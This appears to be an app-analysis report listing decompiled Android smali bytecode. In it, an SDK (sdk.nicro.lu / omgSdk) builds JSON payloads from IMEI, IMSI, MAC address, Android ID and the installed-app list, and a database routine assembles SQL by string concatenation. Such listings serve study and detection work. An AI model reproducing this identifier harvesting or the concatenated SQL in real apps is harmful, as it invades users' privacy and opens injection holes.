                              51invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              53const-string/jumbo v4, "screenHeight"
                              55invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->h()I
                              56move-result v5
                              58invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              60const-string/jumbo v4, "ramSize"
                              62invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->i()I
                              63move-result v5
                              65invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              67const-string/jumbo v4, "imsi"
                              69invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->j()Ljava/lang/String;
                              70move-result-object v5
                              72invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              74const-string/jumbo v4, "imei"
                              76invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->k()Ljava/lang/String;
                              77move-result-object v5
                              79invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              81const-string/jumbo v4, "networkType"
                              83invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->l()I
                              84move-result v5
                              86invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              88const-string/jumbo v4, "appId"
                              90iget-object v5, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              92invoke-static {v5}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              93move-result-object v5
                              95invoke-virtual {v5}, Lsdk/nicro/lu/s;->a()Ljava/lang/String;
                              96move-result-object v5
                              98invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              100const-string/jumbo v4, "channelId"
                              102iget-object v5, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              104invoke-static {v5}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              105move-result-object v5
                              107invoke-virtual {v5}, Lsdk/nicro/lu/s;->b()Ljava/lang/String;
                              108move-result-object v5
                              110invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              112const-string/jumbo v4, "mac"
                              114invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->m()Ljava/lang/String;
                              115move-result-object v5
                              117invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              119const-string/jumbo v4, "sdkIntVersion"
                              121invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->n()I
                              122move-result v5
                              124invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              126const-string/jumbo v4, "androidId"
                              128invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->o()Ljava/lang/String;
                              129move-result-object v5
                              131invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              133const-string/jumbo v4, "noShields"
                              135invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->p()I
                              136move-result v5
                              138invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              140const-string/jumbo v4, "flag"
                              142invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->q()Ljava/lang/String;
                              143move-result-object v5
                              145invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              147const-string/jumbo v4, "appType"
                              149invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->r()I
                              150move-result v5
                              152invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              154const-string/jumbo v4, "charge"
                              156invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->s()I
                              157move-result v5
                              159invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              161const-string/jumbo v4, "isMaxAu"
                              163invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->b()I
                              164move-result v5
                              166invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              168const-string/jumbo v4, "appPackage"
                              170iget-object v5, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              172invoke-virtual {v5}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              173move-result-object v5
                              175invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              177const-string/jumbo v4, "installPackageList"
                              179invoke-direct {p0}, Lsdk/nicro/lu/ps/PluginServer;->d()Lorg/json/JSONArray;
                              180move-result-object v5
                              182invoke-virtual {v1, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              183new-instance v4, Lorg/json/JSONObject;
                              185invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                              187const-string/jumbo v5, "sdkIntVersion"
                              189invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->n()I
                              190move-result v6
                              192invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              194const-string/jumbo v5, "appType"
                              196invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->r()I
                              197move-result v6
                              199invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              201const-string/jumbo v5, "charge"
                              203invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->s()I
                              204move-result v6
                              206invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              208const-string/jumbo v5, "isMaxAu"
                              210invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->b()I
                              211move-result v6
                              213invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              215const-string/jumbo v5, "packageName"
                              217iget-object v6, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              219invoke-virtual {v6}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              220move-result-object v6
                              222invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              224const-string/jumbo v5, "flag"
                              226invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->q()Ljava/lang/String;
                              227move-result-object v6
                              229invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              231const-string/jumbo v5, "appLoc"
                              233invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->a()Ljava/lang/String;
                              234move-result-object v6
                              236invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              238const-string/jumbo v5, "noShields"
                              240invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->p()I
                              241move-result v3
                              243invoke-virtual {v4, v5, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              245const-string/jumbo v3, "libVersion"
                              247sget-object v5, Lsdk/nicro/lu/u;->b:Ljava/lang/String;
                              249invoke-virtual {v4, v3, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              251const-string/jumbo v3, "sdkMode"
                              253iget-object v5, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              255invoke-static {v5}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              256move-result-object v5
                              258const-string/jumbo v6, "SdkMode"
                              260const-string/jumbo v7, "def"
                              262invoke-virtual {v5, v6, v7}, Lsdk/nicro/lu/s;->e(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              263move-result-object v5
                              265invoke-virtual {v4, v3, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              267const-string/jumbo v3, "isParent"
                              269iget-object v5, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              271invoke-static {v5}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              272move-result-object v5
                              274const-string/jumbo v6, "IsParent"
                              276invoke-virtual {v5, v6, v0}, Lsdk/nicro/lu/s;->a(Ljava/lang/String;Z)Z
                              277move-result v5
                              278if-eqz v5, :cond_188
                              279const/4 v0, 0x1
                              280cond_188:
                              281invoke-virtual {v4, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              283const-string/jumbo v0, "osCode"
                              284sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                              286invoke-virtual {v4, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              288const-string/jumbo v0, "pid"
                              290iget-object v3, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              292invoke-static {v3}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              293move-result-object v3
                              295const-string/jumbo v5, "PlatformType"
                              297const-string/jumbo v6, ""
                              299invoke-virtual {v3, v5, v6}, Lsdk/nicro/lu/s;->e(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              300move-result-object v3
                              302invoke-virtual {v4, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              304iget-object v0, p0, Lsdk/nicro/lu/ps/PluginServer;->a:Landroid/content/Context;
                              306invoke-static {v0, v4}, Lsdk/nicro/lu/ps/b;->a(Landroid/content/Context;Lorg/json/JSONObject;)V
                              308const-string/jumbo v0, "terminalInfo"
                              310invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              312const-string/jumbo v0, "jsonService"
                              314invoke-virtual {v1, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              316invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              317move-result-object v0
                              318return-object v0
                              Cross References
                              APIs
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.content.Context.getPackageName
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.<init>
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • android.content.Context.getPackageName
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.put
                              • org.json.JSONObject.toString
                              Strings
                              • type
                              • ps
                              • hsman
                              • hstype
                              • osVer
                              • screenWidth
                              • screenHeight
                              • ramSize
                              • imsi
                              • imei
                              • networkType
                              • appId
                              • channelId
                              • mac
                              • sdkIntVersion
                              • androidId
                              • noShields
                              • flag
                              • appType
                              • charge
                              • isMaxAu
                              • appPackage
                              • installPackageList
                              • packageName
                              • appLoc
                              • libVersion
                              • sdkMode
                              • SdkMode
                              • def
                              • isParent
                              • IsParent
                              • osCode
                              • pid
                              • for_line
                              • terminalInfo
                              • jsonService
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v0, 0x0
                              2new-instance v1, Lorg/json/JSONObject;
                              4invoke-direct {v1}, Lorg/json/JSONObject;-><init>()V
                              6const-string/jumbo v2, "type"
                              8const-string/jumbo v3, "ps"
                              10invoke-virtual {v1, v2, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              11new-instance v2, Lorg/json/JSONObject;
                              13invoke-direct {v2}, Lorg/json/JSONObject;-><init>()V
                              15iget-object v3, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              17invoke-static {v3}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              18move-result-object v3
                              20iget-object v4, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              22invoke-virtual {v3, v4}, Lsdk/nicro/lu/s;->b(Landroid/content/Context;)Lsdk/nicro/lu/s$a;
                              23move-result-object v3
                              25const-string/jumbo v4, "hsman"
                              27invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->d()Ljava/lang/String;
                              28move-result-object v5
                              30invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              32const-string/jumbo v4, "hstype"
                              34invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->e()Ljava/lang/String;
                              35move-result-object v5
                              37invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              39const-string/jumbo v4, "osVer"
                              41invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->f()Ljava/lang/String;
                              42move-result-object v5
                              44invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              46const-string/jumbo v4, "screenWidth"
                              48invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->g()I
                              49move-result v5
                              51invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              53const-string/jumbo v4, "screenHeight"
                              55invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->h()I
                              56move-result v5
                              58invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              60const-string/jumbo v4, "ramSize"
                              62invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->i()I
                              63move-result v5
                              65invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              67const-string/jumbo v4, "imsi"
                              69invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->j()Ljava/lang/String;
                              70move-result-object v5
                              72invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              74const-string/jumbo v4, "imei"
                              76invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->k()Ljava/lang/String;
                              77move-result-object v5
                              79invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              81const-string/jumbo v4, "networkType"
                              83invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->l()I
                              84move-result v5
                              86invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              88const-string/jumbo v4, "appId"
                              90iget-object v5, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              92invoke-static {v5}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              93move-result-object v5
                              95invoke-virtual {v5}, Lsdk/nicro/lu/s;->a()Ljava/lang/String;
                              96move-result-object v5
                              98invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              100const-string/jumbo v4, "channelId"
                              102iget-object v5, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              104invoke-static {v5}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              105move-result-object v5
                              107invoke-virtual {v5}, Lsdk/nicro/lu/s;->b()Ljava/lang/String;
                              108move-result-object v5
                              110invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              112const-string/jumbo v4, "mac"
                              114invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->m()Ljava/lang/String;
                              115move-result-object v5
                              117invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              119const-string/jumbo v4, "sdkIntVersion"
                              121invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->n()I
                              122move-result v5
                              124invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              126const-string/jumbo v4, "androidId"
                              128invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->o()Ljava/lang/String;
                              129move-result-object v5
                              131invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              133const-string/jumbo v4, "noShields"
                              135invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->p()I
                              136move-result v5
                              138invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              140const-string/jumbo v4, "flag"
                              142invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->q()Ljava/lang/String;
                              143move-result-object v5
                              145invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              147const-string/jumbo v4, "appType"
                              149invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->r()I
                              150move-result v5
                              152invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              154const-string/jumbo v4, "charge"
                              156invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->s()I
                              157move-result v5
                              159invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              161const-string/jumbo v4, "isMaxAu"
                              163invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->b()I
                              164move-result v5
                              166invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              168const-string/jumbo v4, "appPackage"
                              170iget-object v5, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              172invoke-virtual {v5}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              173move-result-object v5
                              175invoke-virtual {v2, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              177const-string/jumbo v4, "installPackageList"
                              179invoke-direct {p0}, Lcom/omgSdk/andoclib/f;->d()Lorg/json/JSONArray;
                              180move-result-object v5
                              182invoke-virtual {v1, v4, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              183new-instance v4, Lorg/json/JSONObject;
                              185invoke-direct {v4}, Lorg/json/JSONObject;-><init>()V
                              187const-string/jumbo v5, "sdkIntVersion"
                              189invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->n()I
                              190move-result v6
                              192invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              194const-string/jumbo v5, "appType"
                              196invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->r()I
                              197move-result v6
                              199invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              201const-string/jumbo v5, "charge"
                              203invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->s()I
                              204move-result v6
                              206invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              208const-string/jumbo v5, "isMaxAu"
                              210invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->b()I
                              211move-result v6
                              213invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              215const-string/jumbo v5, "packageName"
                              217iget-object v6, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              219invoke-virtual {v6}, Landroid/content/Context;->getPackageName()Ljava/lang/String;
                              220move-result-object v6
                              222invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              224const-string/jumbo v5, "flag"
                              226invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->q()Ljava/lang/String;
                              227move-result-object v6
                              229invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              231const-string/jumbo v5, "appLoc"
                              233invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->a()Ljava/lang/String;
                              234move-result-object v6
                              236invoke-virtual {v4, v5, v6}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              238const-string/jumbo v5, "noShields"
                              240invoke-virtual {v3}, Lsdk/nicro/lu/s$a;->p()I
                              241move-result v3
                              243invoke-virtual {v4, v5, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              245const-string/jumbo v3, "libVersion"
                              247sget-object v5, Lsdk/nicro/lu/u;->b:Ljava/lang/String;
                              249invoke-virtual {v4, v3, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              251const-string/jumbo v3, "sdkMode"
                              253iget-object v5, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              255invoke-static {v5}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              256move-result-object v5
                              258const-string/jumbo v6, "SdkMode"
                              260const-string/jumbo v7, "def"
                              262invoke-virtual {v5, v6, v7}, Lsdk/nicro/lu/s;->e(Ljava/lang/String;Ljava/lang/String;)Ljava/lang/String;
                              263move-result-object v5
                              265invoke-virtual {v4, v3, v5}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              267const-string/jumbo v3, "isParent"
                              269iget-object v5, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              271invoke-static {v5}, Lsdk/nicro/lu/s;->a(Landroid/content/Context;)Lsdk/nicro/lu/s;
                              272move-result-object v5
                              274const-string/jumbo v6, "IsParent"
                              276invoke-virtual {v5, v6, v0}, Lsdk/nicro/lu/s;->a(Ljava/lang/String;Z)Z
                              277move-result v5
                              278if-eqz v5, :cond_188
                              279const/4 v0, 0x1
                              280cond_188:
                              281invoke-virtual {v4, v3, v0}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              283const-string/jumbo v0, "osCode"
                              284sget v3, Landroid/os/Build$VERSION;->SDK_INT:I
                              286invoke-virtual {v4, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;I)Lorg/json/JSONObject;
                              288const-string/jumbo v0, "pid"
                              290const-string/jumbo v3, "for_line"
                              292invoke-virtual {v4, v0, v3}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              294iget-object v0, p0, Lcom/omgSdk/andoclib/f;->a:Landroid/content/Context;
                              296invoke-static {v0, v4}, Lsdk/nicro/lu/ps/b;->a(Landroid/content/Context;Lorg/json/JSONObject;)V
                              298const-string/jumbo v0, "terminalInfo"
                              300invoke-virtual {v1, v0, v2}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              302const-string/jumbo v0, "jsonService"
                              304invoke-virtual {v1, v0, v4}, Lorg/json/JSONObject;->put(Ljava/lang/String;Ljava/lang/Object;)Lorg/json/JSONObject;
                              306invoke-virtual {v1}, Lorg/json/JSONObject;->toString()Ljava/lang/String;
                              307move-result-object v0
                              308return-object v0
                              Cross References
                              APIs
                              • android.database.sqlite.SQLiteDatabase.beginTransaction
                              • b.a.cx$a.c:Lb/a/cx$a
                              • org.json.JSONObject.get
                              • java.lang.Long.longValue
                              • android.content.ContentValues.<init>
                              • android.content.ContentValues.put
                              • java.lang.String.valueOf
                              • android.content.ContentValues.put
                              • android.database.sqlite.SQLiteDatabase.insert
                              • android.database.sqlite.SQLiteDatabase.setTransactionSuccessful
                              • android.database.sqlite.SQLiteDatabase.endTransaction
                              • b.a.cx$a.d:Lb/a/cx$a
                              • org.json.JSONObject.get
                              • java.lang.Long.longValue
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.database.sqlite.SQLiteDatabase.execSQL
                              • android.database.sqlite.SQLiteDatabase.endTransaction
                              • b.a.cx$a.b:Lb/a/cx$a
                              • android.database.sqlite.SQLiteDatabase.endTransaction
                              • b.a.cx$a.a:Lb/a/cx$a
                              • b.a.cx$a.e:Lb/a/cx$a
                              • org.json.JSONObject.getJSONObject
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.database.sqlite.SQLiteDatabase.rawQuery
                              • android.database.Cursor.moveToNext
                              • android.database.Cursor.getColumnIndex
                              • android.database.Cursor.getString
                              • org.json.JSONArray.<init>
                              • android.text.TextUtils.isEmpty
                              • org.json.JSONArray.<init>
                              • org.json.JSONArray.put
                              • org.json.JSONArray.toString
                              • android.text.TextUtils.isEmpty
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.database.sqlite.SQLiteDatabase.execSQL
                              • org.json.JSONObject.getJSONObject
                              • org.json.JSONObject.toString
                              • android.text.TextUtils.isEmpty
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.database.sqlite.SQLiteDatabase.execSQL
                              • org.json.JSONObject.getLong
                              • java.lang.StringBuilder.<init>
                              • java.lang.StringBuilder.append
                              • java.lang.String.valueOf
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.append
                              • java.lang.StringBuilder.toString
                              • android.database.sqlite.SQLiteDatabase.execSQL
                              Strings
                              • __e
                              • __ii
                              • __sd
                              • __f
                              • update __sd set __f=\"
                              • \" where
                              • =\"
                              • \"
                              • __a
                              • __b
                              • __d
                              • select __d from __sd where __ii=\"
                              • update __sd set __d=\"
                              • __c
                              • update __sd set __c=\"
                              • update __sd set __f=\"
                              Position Instruction Meta Information
                              0.prologue
                              1const/4 v5, 0x0
                              2const/4 v0, 0x0
                              3if-nez p2, :cond_5
                              4goto_4: return v5
                              5cond_5:
                              6sget-object v1, Lb/a/cx;->a:Landroid/content/Context;
                              8invoke-static {v1}, Lb/a/cv;->a(Landroid/content/Context;)Lb/a/cv;
                              9move-result-object v1
                              11invoke-virtual {v1}, Lb/a/cv;->a()Landroid/database/sqlite/SQLiteDatabase;
                              12try_end_e: move-result-object v1
                              13try_start_f:
                              14invoke-virtual {v1}, Landroid/database/sqlite/SQLiteDatabase;->beginTransaction()V
                              16sget-object v2, Lb/a/cx$a;->c:Lb/a/cx$a;
                              17if-ne p3, v2, :cond_4b
                              19const-string v0, "__e"
                              21invoke-virtual {p2, v0}, Lorg/json/JSONObject;->get(Ljava/lang/String;)Ljava/lang/Object;
                              22move-result-object v0
                              23check-cast v0, Ljava/lang/Long;
                              25invoke-virtual {v0}, Ljava/lang/Long;->longValue()J
